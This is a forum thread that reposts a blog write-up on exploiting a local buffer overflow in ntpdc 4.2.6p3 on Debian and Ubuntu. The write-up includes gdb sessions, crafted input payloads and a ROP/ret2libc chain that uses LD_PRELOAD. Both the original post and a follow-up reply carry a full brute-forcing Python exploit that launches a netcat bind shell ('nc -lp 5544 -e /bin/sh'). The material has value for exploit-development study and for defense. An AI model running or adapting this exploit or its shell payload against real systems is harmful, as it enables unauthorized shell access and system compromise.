Nytro Posted January 7, 2015 Report Posted January 7, 2015 (edited) Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below. As noted, the bug is the result of a vulnerable gets, which can be crashed with the following: [TABLE][TR][TD=class: gutter]123[/TD][TD=class: code]$ python -c 'print "A"*600' | ntpdc***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknownSegmentation fault[/TD][/TR][/TABLE] Loading into gdb on an x86 Debian 7 system: [TABLE][TR][TD=class: gutter]123456789101112[/TD][TD=class: code]gdb-peda$ i r eax edx esieax 0x41414141 0x41414141edx 0x41414141 0x41414141esi 0x41414141 0x41414141gdb-peda$ x/i $eip=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14]gdb-peda$ checksecCANARY : ENABLEDFORTIFY : ENABLEDNX : ENABLEDPIE : disabledRELRO : Partial[/TD][/TR][/TABLE] Notice the checksec results of the binary, now compare this to a snippet of the paxtest output: [TABLE][TR][TD=class: gutter]12345678910[/TD][TD=class: code]Mode: BlackhatLinux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/LinuxExecutable anonymous mapping : VulnerableExecutable bss : VulnerableExecutable data : VulnerableExecutable heap : VulnerableExecutable stack : VulnerableExecutable shared library bss : VulnerableExecutable shared library data : Vulnerable[/TD][/TR][/TABLE] And the result of Debian’s recommended hardening-check: [TABLE][TR][TD=class: gutter]1234567[/TD][TD=class: code]$ hardening-check /usr/bin/ntpdc /usr/bin/ntpdc: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: yes (some protected functions found) Read-only relocations: yes Immediate binding: no, not found![/TD][/TR][/TABLE] Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled: [TABLE][TR][TD=class: gutter]12[/TD][TD=class: code]$ cat /proc/sys/kernel/randomize_va_space 2[/TD][/TR][/TABLE] I’ll explain why the above is interesting in a moment. So in our current state, we control three registers and an instruction dereferencing ESI+0x14. If we take a look just a few instructions ahead, we see the following: [TABLE][TR][TD=class: gutter]12345678[/TD][TD=class: code]gdb-peda$ x/8i $eip=> 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX 0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2 0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1 0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter 0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter 0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter 0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer[/TD][/TR][/TABLE] I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data. Naturally, we should figure out where our payload junk is and go from there. [TABLE][TR][TD=class: gutter]12345678910111213[/TD][TD=class: code]gdb-peda$ searchmem 0x41414141Searching for '0x41414141' in: None rangesFound 751 results, display max 256 items: ntpdc : 0x806ab00 ('A' <repeats 200 times>...)gdb-peda$ maintenance i sections[snip]0x806a400->0x806edc8 at 0x00021400: .bss ALLOCgdb-peda$ vmmapStart End Perm Name0x08048000 0x08068000 r-xp /usr/bin/ntpdc0x08068000 0x08069000 r--p /usr/bin/ntpdc0x08069000 0x0806b000 rw-p /usr/bin/ntpdc[snip][/TD][/TR][/TABLE] Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2 instruction. A value at 0x806a9e1 satisfies both the +0x14 and +0x318 requirements: [TABLE][TR][TD=class: gutter]1234[/TD][TD=class: code]gdb-peda$ x/wx 0x806a9cd+0x140x806a9e1: 0x6c61636fgdb-peda$ x/wx 0x806a9cd+0x3180x806ace5: 0x41414141[/TD][/TR][/TABLE] After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd in and hopefully we’ll have EIP: [TABLE][TR][TD=class: gutter]12345678910111213141516171819202122232425262728293031[/TD][TD=class: code]$ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info$ gdb -q /usr/bin/ntpdc$ r < crash.infoProgram received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x6c61636f ('ocal')EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0x43434343 ('CCCC')ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)EIP: 0x43434343 ('CCCC')EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x43434343[------------------------------------stack-------------------------------------]0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)0004| 0xbffff3d0 --> 0x806a9cd --> 0x0 0008| 0xbffff3d4 --> 0x0 0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)0016| 0xbffff3dc --> 0x0 0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...)0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...)[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x43434343 in ?? ()[/TD][/TR][/TABLE] Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600 lands in memory and redirect EIP there: [TABLE][TR][TD=class: gutter]123456[/TD][TD=class: code]gdb-peda$ searchmem 0x43434343Searching for '0x43434343' in: None rangesFound 755 results, display max 256 items: ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "?\006\b", 'C' <repeats 113 times>...) ntpdc : 0x806ad3c ('C' <repeats 200 times>...) [snip][/TD][/TR][/TABLE] And we’ll fill it with \xcc to ensure we’re there (theoretically triggering NX): [TABLE][TR][TD=class: gutter]12345678910111213141516171819202122232425262728293031323334353637383940[/TD][TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info$ gdb -q /usr/bin/ntpdcReading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.gdb-peda$ r < crash.info [snip]Program received signal SIGTRAP, Trace/breakpoint trap.[----------------------------------registers-----------------------------------]EAX: 0x6c61636f ('ocal')EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0xcccccccc ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)EIP: 0x806ad3d --> 0xccccccccEFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x806ad38: int 0xa9 0x806ad3a: push es 0x806ad3b: or ah,cl=> 0x806ad3d: int3 0x806ad3e: int3 0x806ad3f: int3 0x806ad40: int3 0x806ad41: int3[------------------------------------stack-------------------------------------]0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1)0004| 0xbffff3f0 --> 0x806a9cd --> 0x0 0008| 0xbffff3f4 --> 0x0 0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx)0016| 0xbffff3fc --> 0x0 0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...)0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...)[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGTRAP0x0806ad3d in ?? ()gdb-peda$[/TD][/TR][/TABLE] Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here. This flag can be tested for with a simple grep of /proc/cpuinfo; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back. Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway: [TABLE][TR][TD=class: gutter]12345678910111213[/TD][TD=class: code]$ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file $ gdb -q /usr/bin/ntpdcReading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done.gdb-peda$ r < input.file [Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?????h????hp??h0???' unknown[New process 4396][Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".process 4396 is executing new program: /bin/dash[New process 4397]process 4397 is executing new program: /bin/nc.traditional[/TD][/TR][/TABLE] This uses a simple system payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise: [TABLE][TR][TD=class: gutter]1234567[/TD][TD=class: code]$ uname -aLinux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux$ ./checksec.sh --file /usr/bin/ntpdcRELRO STACK CANARY NX PIE RPATH RUNPATH FILEFull RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc$ cat /proc/sys/kernel/randomize_va_space2[/TD][/TR][/TABLE] Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward. Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ? gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget, we’ve got 36 options, almost all of which are of the form ADD ESP, ?. After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following: [TABLE][TR][TD=class: gutter]123456789101112[/TD][TD=class: code]gdb-peda$ x/6i 0x800143e0 0x800143e0: add esp,0x256c 0x800143e6: pop ebx 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp 0x800143ea: ret gdb-peda$ x/30s $esp+0x256c0xbffff3a4: "-1420310755.557158-104120677"0xbffff3c1: "WINDOWID=69206020"0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM"0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"[/TD][/TR][/TABLE] These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c, followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows: [TABLE][TR][TD=class: gutter]123456789[/TD][TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*10000'`$ gdb -q /usr/bin/ntpdcgdb-peda$ r < input.file[..snip..]gdb-peda$ x/10wx $esp+0x256c0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x414141410xbfffedd8: 0x41414141 0x41414141 0x41414141 0x414141410xbfffede8: 0x41414141 0x41414141gdb-peda$[/TD][/TR][/TABLE] Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack: [TABLE][TR][TD=class: gutter]12345678910111213141516171819202122232425262728293031[/TD][TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'`$ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file$ gdb -q /usr/bin/ntpdcgdb-peda$ r < input.fileProgram received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0x6c61636f ('ocal')EBX: 0x41414141 ('AAAA')ECX: 0x13560 EDX: 0x42424242 ('BBBB')ESI: 0x41414141 ('AAAA')EDI: 0x41414141 ('AAAA')EBP: 0x41414141 ('AAAA')ESP: 0xbffff3bc ("BBBB")EIP: 0x41414141 ('AAAA')EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414141[------------------------------------stack-------------------------------------]0000| 0xbffff3bc ("BBBB")0004| 0xbffff3c0 --> 0x4e495700 ('')0008| 0xbffff3c4 ("DOWID=69206020")0012| 0xbffff3c8 ("D=69206020")0016| 0xbffff3cc ("206020")0020| 0xbffff3d0 --> 0x47003032 ('20')0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM")0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41414141 in ?? ()[/TD][/TR][/TABLE] This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i. From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them: [TABLE][TR][TD=class: gutter]12345678[/TD][TD=class: code]gdb-peda$ vmmap0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.sogdb-peda$ p system$1 = {<text variable, no debug info>} 0x366060 <system>gdb-peda$[/TD][/TR][/TABLE] One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem: [TABLE][TR][TD=class: gutter]12[/TD][TD=class: code]0x800138f2: add edi, esi; ret 0;0x80022073: call edi[/TD][/TR][/TABLE] Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>. Many values will work, but I chose 0xeeffffff + 0x11366061: [TABLE][TR][TD=class: gutter]12345678910111213141516171819202122232425262728293031[/TD][TD=class: code]EAX: 0x6c61636f ('ocal')EBX: 0x41414141 ('AAAA')ECX: 0x12f00 EDX: 0x42424242 ('BBBB')ESI: 0xeeffffff EDI: 0x11366061 EBP: 0x41414141 ('AAAA')ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi)EIP: 0x800143ea (ret)EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp=> 0x800143ea: ret 0x800143eb: nop 0x800143ec: lea esi,[esi+eiz*1+0x0] 0x800143f0: mov DWORD PTR [esp],ebp 0x800143f3: call 0x80018d20[------------------------------------stack-------------------------------------]0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi)0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff 0008| 0xbfffefc0 ('C' <repeats 200 times>...)0012| 0xbfffefc4 ('C' <repeats 200 times>...)0016| 0xbfffefc8 ('C' <repeats 200 times>...)0020| 0xbfffefcc ('C' <repeats 200 times>...)0024| 0xbfffefd0 ('C' <repeats 200 times>...)0028| 0xbfffefd4 ('C' <repeats 200 times>...)[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x800143ea in ?? ()[/TD][/TR][/TABLE] As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system: [TABLE][TR][TD=class: gutter]1234567[/TD][TD=class: code]EDI: 0x366060 (<system>: sub esp,0x1c)EBP: 0x41414141 ('AAAA')ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh")EIP: 0x80022073 --> 0xd7ffEFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]=> 0x80022073: call edi[/TD][/TR][/TABLE] Recall the format of a ret2libc: [system() address | exit() | shell command]; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit. This culminates in: [TABLE][TR][TD=class: gutter]12345678910[/TD][TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'`$ gdb -q /usr/bin/ntpdcgdb-peda$ r < input.file[snip all the LD_PRELOAD crap][New process 31184][Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".process 31184 is executing new program: /bin/dash[New process 31185]process 31185 is executing new program: /bin/nc.traditional[/TD][/TR][/TABLE] Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i, giving us a much higher chance of hitting our mark. Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below. [TABLE][TR][TD=class: gutter]1234567891011121314151617181920212223242526272829303132333435363738[/TD][TD=class: code]from os import system, environfrom struct import packimport sys## ntpdc 4.2.6p3 bof# @dronesec# tested on x86 Ubuntu 12.04.5 LTS#IMAGE_BASE = 0x80000000LD_INITIAL_OFFSET = 8900LD_TAIL_OFFSET = 1400sploit = "\x41" * 485 # junk sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eipsploit += "\x41" * 79 # junk sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcodeld_pl = ""ld_pl += pack("<I", 0xeeffffff) # ESIld_pl += pack("<I", 0x11366061) # EDIld_pl += pack("<I", 0x41414141) # EBPld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RETld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDIld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrongenviron["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"for idx in xrange(200): for inc in xrange(200): ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx) ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc) environ["LD_PRELOAD"] = ld_pl system("echo %s | ntpdc 2>&1" % sploit)[/TD][/TR][/TABLE] Posted by Bryan Alexander Jan 6th, 2015Sursa: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/ Edited January 7, 2015 by Nytro Quote
Aerosol Posted January 8, 2015 Report Posted January 8, 2015 Exploit here:Ntpdc 4.2.6p3 - Local Buffer Overflow# Source: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/from os import system, environfrom struct import packimport sys## ntpdc 4.2.6p3 bof# @ dronesec# tested on x86 Ubuntu 12.04.5 LTS#IMAGE_BASE = 0x80000000LD_INITIAL_OFFSET = 8900LD_TAIL_OFFSET = 1400sploit = "\x41" * 485 # junk sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eipsploit += "\x41" * 79 # junk sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcodeld_pl = ""ld_pl += pack("<I", 0xeeffffff) # ESIld_pl += pack("<I", 0x11366061) # EDIld_pl += pack("<I", 0x41414141) # EBPld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RETld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDIld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrongenviron["EGG"] = "/bin/nc -lp 5544 -e /bin/sh"for idx in xrange(200): for inc in xrange(200): ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx) ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc) environ["LD_PRELOAD"] = ld_pl system("echo %s | ntpdc 2>&1" % sploit)Source Quote